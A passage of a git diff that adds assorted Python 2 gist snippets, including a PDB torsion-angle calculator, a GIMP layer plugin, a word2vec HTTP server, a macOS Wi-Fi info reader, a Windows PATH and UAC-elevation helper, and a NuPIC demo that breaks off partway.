a/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/._snippet.py differ diff --git a/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py new file mode 100644 index 00000000..ec5f9d74 --- /dev/null +++ b/hard-gists/0f575a0891cfef5f1b0024c89dcbaeea/snippet.py @@ -0,0 +1,24 @@ +# This code leverages the pre-existing XML parser in objc but takes just the constant values +# without any deeper parsing of classes, structs, etc. + +# Useful for when objc.loadBundleVariables as used here https://gist.github.com/pudquick/ac8f22326f095ed2690e +# is not possible because the constant isn't defined as a framework symbol, only in a header +# (which the System .bridgesupport files helpfully included entries for) + +import objc + +def constant_loader(framework_bridgesupport_path, target_dict, values = None): + with open(framework_bridgesupport_path, 'r') as f: + xml = f.read() + prs = objc._bridgesupport._BridgeSupportParser(xml, 'no path necessary for constants') + if values is None: + target_dict.update(prs.values) + else: + for k in values: + if prs.values.has_key(k): + target_dict[k] = prs.values[k] + +# Example usage: +# constant_loader('/System/Library/Frameworks/IOKit.framework/Resources/BridgeSupport/IOKit.bridgesupport', globals(), ['kIOMediaClass']) +# >>> kIOMediaClass +# 'IOMedia' diff --git a/hard-gists/0f5f65ddbfa278713f58/._snippet.py b/hard-gists/0f5f65ddbfa278713f58/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0f5f65ddbfa278713f58/._snippet.py differ diff --git a/hard-gists/0f5f65ddbfa278713f58/snippet.py b/hard-gists/0f5f65ddbfa278713f58/snippet.py new file mode 100644 index 00000000..b69008eb --- /dev/null +++ b/hard-gists/0f5f65ddbfa278713f58/snippet.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python +# Copyright (c) 2014 Lenna X. Peterson, all rights reserved +# lenna@purdue.edu + +import argparse +import csv +import glob +import logging +import math +import os + +# Package Bio can be obtained from http://www.biopython.org +from Bio import PDB + +logging.basicConfig(level=logging.DEBUG) + + +class GetTorsion(object): + """ + Calculate side-chain torsion angles (also known as dihedral or chi angles). + Depends: Biopython (http://www.biopython.org) + """ + + chi_atoms = dict( + chi1=dict( + ARG=['N', 'CA', 'CB', 'CG'], + ASN=['N', 'CA', 'CB', 'CG'], + ASP=['N', 'CA', 'CB', 'CG'], + CYS=['N', 'CA', 'CB', 'SG'], + GLN=['N', 'CA', 'CB', 'CG'], + GLU=['N', 'CA', 'CB', 'CG'], + HIS=['N', 'CA', 'CB', 'CG'], + ILE=['N', 'CA', 'CB', 'CG1'], + LEU=['N', 'CA', 'CB', 'CG'], + LYS=['N', 'CA', 'CB', 'CG'], + MET=['N', 'CA', 'CB', 'CG'], + PHE=['N', 'CA', 'CB', 'CG'], + PRO=['N', 'CA', 'CB', 'CG'], + SER=['N', 'CA', 'CB', 'OG'], + THR=['N', 'CA', 'CB', 'OG1'], + TRP=['N', 'CA', 'CB', 'CG'], + TYR=['N', 'CA', 'CB', 'CG'], + VAL=['N', 'CA', 'CB', 'CG1'], + ), + altchi1=dict( + VAL=['N', 'CA', 'CB', 'CG2'], + ), + chi2=dict( + ARG=['CA', 'CB', 'CG', 'CD'], + ASN=['CA', 'CB', 'CG', 'OD1'], + ASP=['CA', 'CB', 'CG', 'OD1'], + GLN=['CA', 'CB', 'CG', 'CD'], + GLU=['CA', 'CB', 'CG', 'CD'], + HIS=['CA', 'CB', 'CG', 'ND1'], + ILE=['CA', 'CB', 'CG1', 'CD1'], + LEU=['CA', 'CB', 'CG', 'CD1'], + LYS=['CA', 'CB', 'CG', 'CD'], + MET=['CA', 'CB', 'CG', 'SD'], + PHE=['CA', 'CB', 'CG', 'CD1'], + PRO=['CA', 'CB', 'CG', 'CD'], + TRP=['CA', 'CB', 'CG', 'CD1'], + TYR=['CA', 'CB', 'CG', 'CD1'], + ), + altchi2=dict( + ASP=['CA', 'CB', 'CG', 'OD2'], + LEU=['CA', 'CB', 'CG', 'CD2'], + PHE=['CA', 'CB', 'CG', 'CD2'], + TYR=['CA', 'CB', 'CG', 'CD2'], + ), + chi3=dict( + ARG=['CB', 'CG', 'CD', 'NE'], + GLN=['CB', 'CG', 'CD', 'OE1'], + GLU=['CB', 'CG', 'CD', 'OE1'], + LYS=['CB', 'CG', 'CD', 'CE'], + MET=['CB', 'CG', 'SD', 'CE'], + ), + chi4=dict( + ARG=['CG', 'CD', 'NE', 'CZ'], + LYS=['CG', 'CD', 'CE', 'NZ'], + ), + chi5=dict( + ARG=['CD', 'NE', 'CZ', 'NH1'], + ), + ) + + default_chi = [1] + default_outfile = "torsion_list.csv" + + def __init__(self, input, outfile=None, chi=None, units=None): + """Set parameters and calculate torsion values""" + if outfile is None: + outfile = self.default_outfile + if os.path.isfile(outfile) and os.path.getsize(outfile): + print "Outfile exists, it will be overwritten" + # Configure chi + if chi is None: + chi = self.default_chi + chi_names = list() + for x in chi: + reg_chi = "chi%s" % x + if reg_chi in self.chi_atoms.keys(): + chi_names.append(reg_chi) + alt_chi = "altchi%s" % x + if alt_chi in self.chi_atoms.keys(): + chi_names.append(alt_chi) + else: + logging.warning("Invalid chi %s", x) + self.chi_names = chi_names + self.fieldnames = ["id", "model", "chain", "resn", "resi"] + self.chi_names + logging.debug("Calculating chi angles: %s", ", ".join(chi_names)) + + # Configure units (degrees or radians) + if units is None: + units = "degrees" + self.degrees = bool(units[0].lower() == "d") + if self.degrees: + message = "Using degrees" + else: + message = "Using radians" + logging.debug(message) + + # Construct list of files + files = list() + unprocessed = list() + for input_item in input: + ext = os.path.splitext(input_item)[1].lower() + if ext == ".pdb": + if os.path.isfile(input_item): + files.append(input_item) + else: + unprocessed.append(input_item) + else: + if os.path.isdir(input_item): + for pattern in ("*.pdb", "*.PDB"): + files.extend(glob.glob( + os.path.join(input_item, pattern))) + elif os.path.isfile(input_item): + with open(input_item, "r") as ih: + for line in ih: + line = line.strip() + if os.path.isfile(line): + files.append(line) + else: + unprocessed.append((input_item, line)) + else: + unprocessed.append(input_item) + + logging.debug("%s file(s) to process", len(files)) + if unprocessed: + logging.warning("%s input items could not be interpreted:", len(unprocessed)) + for item in unprocessed: + logging.warning(" %s", item) + + # Load parser + self.parser = PDB.PDBParser(QUIET=True) + + # Process files + out_data = list() + for fn in files: + logging.debug(fn) + torsion_list = self.calculate_torsion(fn) + out_data.extend(torsion_list) + + with open(outfile, "w") as oh: + w = csv.DictWriter(oh, fieldnames=self.fieldnames) + w.writeheader() + w.writerows(out_data) + + def calculate_torsion(self, fn): + """Calculate side-chain torsion angles for given file""" + id = os.path.splitext(os.path.basename(fn))[0] + + torsion_list = list() + + structure = self.parser.get_structure(id, fn) + for model in structure: + model_name = model.id + for chain in model: + chain_name = chain.id + for res in chain: + # Skip heteroatoms + if res.id[0] != " ": continue + res_name = res.resname + if res_name in ("ALA", "GLY"): continue + chi_list = [""] * len(self.chi_names) + for x, chi in enumerate(self.chi_names): + chi_res = self.chi_atoms[chi] + try: + atom_list = chi_res[res_name] + except KeyError: + continue + try: + vec_atoms = [res[a] for a in atom_list] + except KeyError: + chi_list[x] = float("nan") + continue + vectors = [a.get_vector() for a in vec_atoms] + angle = PDB.calc_dihedral(*vectors) + if self.degrees: + angle = math.degrees(angle) + chi_list[x] = angle + + resi = "{0}{1}".format(res.id[1], res.id[2].strip()) + row = [id, model_name, chain_name, res_name, resi] + chi_list + torsion_list.append(dict(zip(self.fieldnames, row))) + + return torsion_list + + @classmethod + def commandline(cls, module_args=None): + desc = """Calculate side-chain torsion angles for PDB files. + Angles with missing atoms will be nan.""" + a = argparse.ArgumentParser(description=desc) + a.add_argument("input", nargs="*", default=".", + help="Input file(s) (any combination of PDB files, text lists of PDB files, and directories)") + a.add_argument("-o", "--outfile", default=cls.default_outfile, + help="Outfile") + a.add_argument("-c", "--chi", type=int, nargs="*", default=cls.default_chi, + help="Chi angles to calculate") + a.add_argument("-u", "--units", default="degrees", + help="Angle units") + + args = a.parse_args(module_args) + c = cls(**vars(args)) + return c + + +if __name__ == "__main__": + GetTorsion.commandline() diff --git a/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py b/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/0f87efc363309e99d600e3a6300fbcff/._snippet.py differ diff --git a/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py b/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py new file mode 100644 index 00000000..64684c02 --- /dev/null +++ b/hard-gists/0f87efc363309e99d600e3a6300fbcff/snippet.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +from gimpfu import * +import time +import json + +gettext.install("gimp20-python", gimp.locale_directory, unicode=True) + +def add_layers(img, layer, classes): + + gimp.context_push() + img.undo_group_start() + + if img.base_type is RGB: + type = RGBA_IMAGE + else: + type = GRAYA_IMAGE + + cl_list = json.loads(classes) + + for c in cl_list: + layer = gimp.Layer(img, c, + layer.width, layer.height, type, 100, NORMAL_MODE) + layer.fill(TRANSPARENT_FILL) + img.insert_layer(layer) + + img.undo_group_end() + gimp.context_pop() + +register( + "python-fu-addlayer", + N_("Add layers stack"), + "Add layers", + "Eugene Mikhantiev", + "Eugene Mikhantiev", + "2017", + N_("_Add layers"), + "RGB*, GRAY*", + [ + (PF_IMAGE, "image", "Input image", None), + (PF_DRAWABLE, "drawable", "Input drawable", None), + (PF_STRING, "classes", _("_Json list"), '["1","2","3","4","5","6","7","8","9"]'), + ], + [], + add_layers, + menu="/Filters/Tools", + domain=("gimp20-python", gimp.locale_directory) + ) + +main() \ No newline at end of file diff --git a/hard-gists/10005117/._snippet.py b/hard-gists/10005117/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10005117/._snippet.py differ diff --git a/hard-gists/10005117/snippet.py b/hard-gists/10005117/snippet.py new file mode 100644 index 00000000..1f7a49fb --- /dev/null +++ b/hard-gists/10005117/snippet.py @@ -0,0 +1,145 @@ +# coding=utf-8 +import sys +import socket +import select +from urlparse import urlparse, parse_qs +import word2vec + +argvs = sys.argv + +port = 8000 +#第二引数は、ポート番号(デフォルト8000) +if argvs[2]: + port = int(argvs[2]) + +#第一引数のモデルファイルをロード +if not argvs[1]: + print "Not found model file path" + exit(1) + +print "loading model" +model=word2vec.load(argvs[1]) +print "done" + +read_waits = {} +write_waits = {} + +def wait_read(con, callback): + read_waits[con.fileno()] = callback + +def wait_write(con, callback): + write_waits[con.fileno()] = callback + +def evloop(): + while 1: + rs, ws, xs = select.select(read_waits.keys(), write_waits.keys(), []) + for rfd in rs: + read_waits.pop(rfd)() + for wfd in ws: + write_waits.pop(wfd)() + +class Server(object): + def __init__(self, con): + self.con = con + + def start(self): + wait_read(self.con, self.on_acceptable) + + def on_acceptable(self): + try: + while 1: + con, _ = self.con.accept() + con.setblocking(0) + Client(con) + except IOError: + wait_read(self.con, self.on_acceptable) + + +class Client(object): + def __init__(self, con): + self.con = con + self.on_readable() + + def on_readable(self): + data = self.con.recv(32 * 1024) + if not data: + wait_read(self.con, self.on_readable) + return + + # GET値に応じて、(c=類語,pos,neg=アナロジー,n=取得数)を取得する + content = "" + content_len = 0 + sp_data = data.split(' ',2) + if sp_data[0] == 'GET': + parse_query = parse_qs(urlparse(sp_data[1]).query) + n = 5 + if parse_query.has_key("n"): + n = int(parse_query['n'][0].split(' ')[0]) + if parse_query.has_key("c"): + sp_parse = parse_query['c'][0].split(' ') + try: + content = model.cosine(sp_parse, n=n) + content = content[sp_parse[0]] + content_str = map(str,content) + content = ",".join(content_str) + content = content.replace('(','') + content = content.replace(')','') + content = content.replace("', ","' : ") + content = content.replace("'",'"') + content = content.decode('string-escape') + content = "{" + content + "}" + except: + content = '{"Not found":"Not found word in model data"}' + content_len = len(content) + 1 + elif parse_query.has_key("pos") and parse_query.has_key("neg"): + pos_parse = parse_query['pos'][0].split(' ') + neg_parse = parse_query['neg'][0].split(' ') + + try: + content = model.analogy(pos=pos_parse, neg=neg_parse, n=n) + content = content + content_str = map(str,content) + content = ",".join(content_str) + content = content.replace('(','') + content = content.replace(')','') + content = content.replace("', ","' : ") + content = content.replace("'",'"') + content = content.decode('string-escape') + content = "{" + content + "}" + except: + content = '{"Not found":"Not found word in model data"}' + content_len = len(content) + 1 + + if content_len == 0: + self.buf = b"""HTTP/1.1 404 Not Found""" + else: + self.buf = b"""HTTP/1.1 200 OK\r +Content-Type: application/json\r +Content-Length: %d\r +\r +%s +""" % (content_len,content) + + self.on_writable() + + def on_writable(self): + wrote = self.con.send(self.buf) + self.buf = self.buf[wrote:] + if self.buf: + wait_write(self.con, self.on_writable) + else: + self.con.close() + + +def serve(): + sock = socket.socket() + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock.setblocking(0) + sock.bind(('', port)) + sock.listen(128) + server = Server(sock) + server.start() + evloop() + +if __name__ == '__main__': + serve() \ No newline at end of file diff --git a/hard-gists/10010307/._snippet.py b/hard-gists/10010307/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10010307/._snippet.py differ diff --git a/hard-gists/10010307/snippet.py b/hard-gists/10010307/snippet.py new file mode 100644 index 00000000..c81d7348 --- /dev/null +++ b/hard-gists/10010307/snippet.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +''' +Playing around with CoreWLAN to return information about the wi-fi connection + +Documentation: +https://developer.apple.com/library/mac/documentation/CoreWLAN/Reference/CWInterface_reference/translated_content/CWInterface.html +''' +import objc + +objc.loadBundle('CoreWLAN', + bundle_path='/System/Library/Frameworks/CoreWLAN.framework', + module_globals=globals()) + +class WiFi(object): + ''' WiFI object''' + + def __init__(self): + self.wifi = CWInterface.interfaceNames() + for iname in self.wifi: + self.interface = CWInterface.interfaceWithName_(iname) + + def get_wifistatus(self): + if self.interface.powerOn() == 1: + return "Yes" + return "No" + + def get_ssid(self): + return self.interface.ssid() + + def get_interface(self): + return self.interface.interfaceName() + + def get_hardwareaddress(self): + return self.interface.hardwareAddress() + + def get_aggregatenoise(self): + return self.interface.aggregateNoise() + + def get_aggregaterssi(self): + return self.interface.aggregateRSSI() + + def get_bssid(self): + return self.interface.bssid() + + def get_channel(self): + return self.interface.channel() + + def get_transmitrate(self): + return self.interface.transmitRate() + + def get_mcsindex(self): + return self.interface.mcsIndex() + +def main(): + wifi = WiFi() + print 'Interface: %s' % wifi.get_interface() + print 'Hardware Address: %s' % wifi.get_hardwareaddress() + print 'Active: %s' % wifi.get_wifistatus() + print 'SSID: %s' % wifi.get_ssid() + print 'Aggregate Noise: %s' % wifi.get_aggregatenoise() + print 'BSSID: %s' % wifi.get_bssid() + print 'RSSI: %s' % wifi.get_aggregaterssi() + print 'Channel: %s' % wifi.get_channel() + print 'Transmit Rate: %s' % wifi.get_transmitrate() + print 'MCS Index: %s' % wifi.get_mcsindex() + +if __name__ == "__main__": + main() diff --git a/hard-gists/10011921/._snippet.py b/hard-gists/10011921/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10011921/._snippet.py differ diff --git a/hard-gists/10011921/snippet.py b/hard-gists/10011921/snippet.py new file mode 100644 index 00000000..e66b3357 --- /dev/null +++ b/hard-gists/10011921/snippet.py @@ -0,0 +1,84 @@ +''' +Created on Mar 18, 2014 +@author: OAuth2 base code 'jcgregorio@google.com (Joe Gregorio)' +@author modificaciones: nickbortolotti +''' + +from apiclient import discovery +from oauth2client import appengine +from oauth2client import client +from google.appengine.api import memcache + +import webapp2 +import jinja2 +import httplib2 +import os + + +JINJA_ENVIRONMENT = jinja2.Environment( + loader=jinja2.FileSystemLoader(os.path.dirname(__file__)), + autoescape=True, + extensions=['jinja2.ext.autoescape']) + +# CLIENT_SECRETS, name of a file containing the OAuth 2.0 information for this +# application, including client_id and client_secret, which are found +# on the API Access tab on the Google APIs +# Console +CLIENT_SECRETS = os.path.join(os.path.dirname(__file__), 'client_secrets.json') + +# Helpful message to display in the browser if the CLIENT_SECRETS file +# is missing. +MISSING_CLIENT_SECRETS_MESSAGE = """ +

Por favor configure OAuth 2.0

+

+%s. +

+""" % CLIENT_SECRETS + + +http = httplib2.Http(memcache) +service = discovery.build("plus", "v1", http=http) +decorator = appengine.oauth2decorator_from_clientsecrets( + CLIENT_SECRETS, + scope='https://www.googleapis.com/auth/plus.me', + message=MISSING_CLIENT_SECRETS_MESSAGE) + +class MainHandler(webapp2.RequestHandler): + + @decorator.oauth_aware + def get(self): + variables = { + 'url': decorator.authorize_url(), + 'has_credentials': decorator.has_credentials() + } + template = JINJA_ENVIRONMENT.get_template('conceder.html') + self.response.write(template.render(variables)) + + +class Social(webapp2.RequestHandler): + + @decorator.oauth_required + def get(self): + try: + http = decorator.http() + user = service.people().get(userId='me').execute(http=http) + text = 'Hola, %s!' % user['displayName'] + image = user['image']['url'] + cover = user['cover']['coverPhoto']['url'] + + template = JINJA_ENVIRONMENT.get_template('bienvenido.html') + self.response.write(template.render({'text': text, + 'image': image, + 'cover': cover + })) + except client.AccessTokenRefreshError: + self.redirect('/') + + +application = webapp2.WSGIApplication( + [ + ('/', MainHandler), + ('/social', Social), + (decorator.callback_path, decorator.callback_handler()), + ], + debug=True) \ No newline at end of file diff --git a/hard-gists/10016605/._snippet.py b/hard-gists/10016605/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10016605/._snippet.py differ diff --git a/hard-gists/10016605/snippet.py b/hard-gists/10016605/snippet.py new file mode 100644 index 00000000..4f8ad304 --- /dev/null +++ b/hard-gists/10016605/snippet.py @@ -0,0 +1,35 @@ +# python + +""" Snippet demonstrates how to filter item selection out so it contains +only items of required type (group items in this case). +Filtered items are printed out in Event Log. +""" + +import lx +import lxu.select + +# Grab current item selection using lxu.select module (see Editing Item Name gist). +selected_items = lxu.select.ItemSelection().current() + +# Services in MODO are always available and they provide access to various parts of Nexus system. +# Usually services are used to get some data about the system or instance new objects +# that will be operated on later using lx.object.xxx interfaces. +# Scene service provides general information on the scene and its items. +# We are going to use scene service to get a group item type integer code. +# Typically, when you call a method that needs item type as argument it takes this integer code. +# However, you should NOT use the code directly as it may change from version to version +# and therefore is not reliable. Instead, we are going to use scene service's ItemTypeLookup method +# that will return the proper code after passing an item type string symbol to it. +# The symbol is one of lx.symbol.sITYPE_xxx. +scene_service = lx.service.Scene() +group_type_code = scene_service.ItemTypeLookup(lx.symbol.sITYPE_GROUP) + +# The rest is simple now. We're walking selected items list, +# checking item type using Type() method of lx.object.Item() interface. +# Type() returns an integer type code so all we need to do is compare it +# with the code that we got from scene service. +# If the type fits the filter we're printing item's name in Event Log. +for item in selected_items: + item = lx.object.Item(item) + if item.Type() == group_type_code: + lx.out(item.UniqueName()) \ No newline at end of file diff --git a/hard-gists/10023837/._snippet.py b/hard-gists/10023837/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/10023837/._snippet.py differ diff --git a/hard-gists/10023837/snippet.py b/hard-gists/10023837/snippet.py new file mode 100644 index 00000000..e7ceca6d --- /dev/null +++ b/hard-gists/10023837/snippet.py @@ -0,0 +1,26 @@ +# Simple demo of playing a looping sound using the (currently undocumented) sound.Player class + +import sound +import os +from scene import * + +class MyScene (Scene): + def setup(self): + self.player = sound.Player(os.path.expanduser('~/Pythonista.app/Beep.caf')) + self.player.number_of_loops = -1 #repeat forever + self.playing = False + + def draw(self): + background(0, 0, 0) + x, y = self.size.w * 0.5, self.size.h * 0.5 + text('Touch to play/pause', 'Helvetica', 30, x, y) + + def touch_began(self, touch): + if self.playing: + self.player.stop() + else: + self.player.play() + self.playing = not self.playing + +run(MyScene()) + diff --git a/hard-gists/1009475/._snippet.py b/hard-gists/1009475/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/1009475/._snippet.py differ diff --git a/hard-gists/1009475/snippet.py b/hard-gists/1009475/snippet.py new file mode 100644 index 00000000..69c88547 --- /dev/null +++ b/hard-gists/1009475/snippet.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +""" +Helpers for automating the process of setting up ported Linux/UNIX +applications which were designed with expectations like being in $PATH. + +@note: Basic functionality requires only the Python standard library. + Some functions and methods also require the PyWin32 package. + +@note: A much more verbose "sudo for Windows" implementation (BSD-licensed) + which requires only Python stdlib (uses ctypes) can be found in esky: + https://github.com/cloudmatrix/esky/blob/master/esky/sudo/sudo_win32.py + +@todo: Wrap the Windows API for looking up an associated application so + elevate() without arguments can be made to work on non-frozen apps. + +@todo: Decide if other things like C{DisableReflectionKey} are necessary. +""" + +__author__ = "Stephan Sokolow (deitarion/SSokolow)" +__version__ = "0.2" +__license__ = "MIT" + +# Dodge the case-sensitivity issue +KEY_PATH = 'Path' + +# Constants which seem to not be defined in PyWin32 +HWND_BROADCAST = 0xFFFF # http://msdn.microsoft.com/en-us/library/ms644950%28VS.85%29.aspx +WM_SETTINGCHANGE = 0x001A # http://msdn.microsoft.com/en-us/library/ms725497%28VS.85%29.aspx + +import os, sys, _winreg as winreg + +def elevate(argv=None, cwd=None, use_arguments=True, show=True): + """Run a subprocess with elevated privileges. + + (Should work with both UAC and Guest accounts) + + @param argv: Command to run. C{None} for self. + @param cwd: Working directory or C{None} for C{os.getcwd()} + @param use_arguments: If False, PyWin32 is not required. + @param show: See bShow in C{win32api.ShellExecute} docs. + (Ignored if use_arguments = C{False}) + + @note: This assumes that sys.argv[0] is absolute or relative to cwd. + @todo: Get access to something newer than XP to test on. + """ + argv = argv or sys.argv + cwd = cwd or os.getcwd() + + if isinstance(argv, basestring): + argv = [argv] + cmd = os.path.normpath(argv[0]) + + if use_arguments: + from win32api import ShellExecute + from subprocess import list2cmdline + + args = list2cmdline(argv[1:]) + ShellExecute(0, 'runas', cmd, args, cwd, show) + else: + os.chdir(cwd) + os.startfile(os.path.normpath(cmd), 'runas') + +def self_is_elevated(): + """Returns a boolean indicating whether the current process has full + administrator rights. (eg. whether a UAC elevation needs to be performed) + + @note: Requires PyWin32. + @todo: Get access to something newer than XP to test on. + """ + from win32security import ( + CheckTokenMembership, + CreateWellKnownSid, + WinBuiltinAdministratorsSid + ) + + sid = CreateWellKnownSid(WinBuiltinAdministratorsSid, None) + return CheckTokenMembership(None, sid) + +class WinEnv(object): + """ + Convenience class for permanently modifying Windows system environment + variables from within a Python program or script. + + @note: This bypasses Python's C{os.environ} and directly modifies the + registry keys Windows uses to persistently store environment + variables. + + @note: This only supports modern Windows (2K/XP/etc.) which store their + environment in the registry. C{AUTOEXEC.BAT} is unsupported. + + @note: People writing batch files probably want the SetEnv tool instead. + (It's more featureful, but it's under a non-libre license so I + haven't touched it. Binaries, code, and instructions available at + http://www.codeproject.com/KB/applications/SetEnv.aspx ) + """ + PATH_ENV = r"System\CurrentControlSet\Control\Session Manager\Environment\\" + DEFAULT_SEP = os.pathsep + DEFAULT_NORM = lambda x: os.path.normpath(os.path.normcase(x)) + + def __init__(self): + self.env = winreg.OpenKey( + winreg.HKEY_LOCAL_MACHINE, + self.PATH_ENV, + 0, + winreg.KEY_READ|winreg.KEY_WRITE) + self.val_type_cache = {} + + def _in_val_list(self, val_list, component, norm): + val_match_list = [norm(x) for x in val_list] + return norm(component) in val_match_list + + def add(self, key, value, sep=DEFAULT_SEP, norm=DEFAULT_NORM): + """Append a component to a variable like C{PATH}. + + Wraps L{read_list} and L{write_list}. + + @note: If C{value} is already present in C{key}, no + modification will take place. + @param norm: A normalization function for "x in y" checks. + """ + val_list = self.read_list(key, sep=sep) + + if not self._in_val_list(val_list, value, norm): + val_list.append(value) + + self.write_list(key, val_list, sep=sep) + + def announce(self): + """Attempt to update the environment for running applications. + + @note: Requires PyWin32 (Unlike the rest of this class) + @todo: Confirm this actually does something + """ + winreg.FlushKey(self.env) # TODO: Is this necessary? + + import win32api + win32api.SendMessage(HWND_BROADCAST, WM_SETTINGCHANGE, None, 'Environment') + # (..., None, 'Environment') as specified at http://msdn.microsoft.com/en-us/library/ms725497%28VS.85%29.aspx + + def remove(self, key, value, sep=DEFAULT_SEP, norm=DEFAULT_NORM): + """Remove a component from a variable like C{PATH}. + + Wraps L{read_list} and L{write_list}. + + @note: If multiple instances of C{value} are found, all will be removed. + @param norm: A normalization function for "x in y" checks. + """ + val_list = self.read_list(key, sep=sep) + + while self._in_val_list(val_list, value, norm): + val_list.remove(value) + + self.write_list(key, val_list, sep=sep) + + def read(self, key): + """Read and return the given environment variable from the registry. + + Caches the key's type for use with L{write}. + """ + key_val, key_type = winreg.QueryValueEx(self.env, key) + self.val_type_cache[key] = key_type + return key_val + + def read_list(self, key, sep=DEFAULT_SEP): + """Call L{read} and process its output into a list. + + Defaults to sep=C{os.pathsep} + + @raises TypeError: Returned value is not C{REG_SZ} or C{REG_EXPAND_SZ} + """ + key_val = self.read(key) + + if self.val_type_cache[key] not in (winreg.REG_EXPAND_SZ, winreg.REG_SZ): + raise TypeError("Environment variable not a string: %s" % key) + + return key_val.split(sep) + + def write(self, key, value, type=None): + """Write the given value to the registry. + + Will use the cached value type if not provided. + + @raises KeyError: type=C{None} and key not in cache. + """ + type = type or self.val_type_cache[key] + winreg.SetValueEx(self.env, key, 0, type, value) + + def write_list(self, key, value, type=None, sep=DEFAULT_SEP): + """Convenience wrapper for L{write} which mirrors L{read_list}.""" + self.write(key, sep.join(value), type) + +if __name__ == '__main__': + #NOTE: Example usage only. Command-line syntax will change. + from optparse import OptionParser + parser = OptionParser( + usage="%prog ", + version="%%prog v%s" % __version__) + + opts, args = parser.parse_args() + + if len(args) != 1: + parser.print_help() + sys.exit(1) + + try: + if not self_is_elevated(): + elevate() + sys.exit(0) + except ImportError: + print("Unable to import PyWin32. Skipping privilege elevation.") + + env = WinEnv() + env.add(KEY_PATH, args[0]) + + try: + env.announce() + except ImportError: + print("Unable to import PyWin32. Skipping announce()") + diff --git a/hard-gists/101323115e70bb6671d3/._snippet.py b/hard-gists/101323115e70bb6671d3/._snippet.py new file mode 100644 index 00000000..cd8af967 Binary files /dev/null and b/hard-gists/101323115e70bb6671d3/._snippet.py differ diff --git a/hard-gists/101323115e70bb6671d3/snippet.py b/hard-gists/101323115e70bb6671d3/snippet.py new file mode 100644 index 00000000..49af5f2a --- /dev/null +++ b/hard-gists/101323115e70bb6671d3/snippet.py @@ -0,0 +1,194 @@ +''' +Created on Feb 8, 2015 + +@author: David Ray +''' + +import numpy as np + +from nupic.encoders.scalar import ScalarEncoder as ScalarEncoder +from nupic.algorithms.CLAClassifier import CLAClassifier as CLAClassifier +from nupic.research.spatial_pooler import SpatialPooler as SpatialPooler +from nupic.research.temporal_memory import TemporalMemory as TemporalMemory +from nupic.algorithms import anomaly + + +class Layer(): + + """ Makeshift Layer to contain and operate on algorithmic entities """ + + def __init__(self, encoder, sp, tm, classifier): + + self.encoder = encoder + self.sp = sp + self.tm = tm + self.classifier = classifier + self.theNum = 0 + self.weeksAnomaly = 0.0 + self.settleWeek = 0 + + + def input(self, value, recordNum, sequenceNum): + """ Feed the incremented input into the Layer components """ + + if recordNum == 1: + recordOut = "Monday (1)" + elif recordNum == 2: + recordOut = "Tuesday (2)" + elif recordNum == 3: + recordOut = "Wednesday (3)" + elif recordNum == 4: + recordOut = "Thursday (4)" + elif recordNum == 5: + recordOut = "Friday (5)" + elif recordNum == 6: + recordOut = "Saturday (6)" + else: recordOut = "Sunday (7)" + + if recordNum == 1: + self.theNum += 1 + + print "--------------------------------------------------------" + print "Iteration: " + str(self.theNum) + + self.weeksAnomaly = 0 + + print "===== " + str(recordOut) + " - Sequence Num: " + str(sequenceNum) + " =====" + + output = np.zeros(sp._columnDimensions) + + # Input through encoder + print "ScalarEncoder Input = " + str(value) + encoding = encoder.encode(value) + print "ScalarEncoder Output = " + str(encoding) + bucketIdx = encoder.getBucketIndices(value)[0] + + # Input through spatial pooler + sp.compute(encoding, True, output) + print "SpatialPooler Output = " + str(output) + + # Input through temporal memory + activesCols = sorted(set(np.where(output > 0)[0].flat)) + tm.compute(activesCols, True) + activeCells = tm.getActiveCells() #getSDR(tm.predictiveCells) + predictiveCells = tm.getPredictiveCells() + print "TemporalMemory Input = " + str(input) + + # Input into Anomaly Computer + predictiveCols = set() + for c in predictiveCells: + predictiveCols.add(tm.columnForCell(c)) + predictiveCols = sorted(predictiveCols) + score = anomaly.computeRawAnomalyScore(activesCols, predictiveCols) + print "input: " + str(activesCols) + print "predi: " + str(predictiveCols) + print "Anomaly Score: " + str(score) + self.weeksAnomaly += score + + if recordNum == 7 and self.weeksAnomaly == 0 and self.settleWeek == 0: + self.settleWeek = self.theNum + + + # Input into classifier + retVal = classifier.compute(recordNum, + patternNZ=activeCells, + classification= {'bucketIdx': bucketIdx, 'actValue':value}, + learn=True, + infer=True + ) + + print "TemporalMemory Prediction = " + str(getSDR(activeCells)) +\ + " | CLAClassifier 1 step prob = " + str(retVal[1]) + print "" + + def getWeeksAnomaly(self): + return self.weeksAnomaly + + def getWeek(self): + return self.theNum + + def getSettleWeek(self): + return self.settleWeek + +def getSDR(cells): + retVal = set() + for cell in cells: + retVal.add(cell / tm.cellsPerColumn) + return retVal + +def runThroughLayer(layer, recordNum, sequenceNum): + + layer.input(recordNum, recordNum, sequenceNum) + + +if __name__ == '__main__': + encoder = ScalarEncoder( + n = 8, + w = 3, + radius = 0, + minval = 1, + maxval = 8, + periodic = True, + forced = True, + resolution = 0 + ) + + sp = SpatialPooler( + inputDimensions = (8), + columnDimensions = (20), + potentialRadius = 12, + 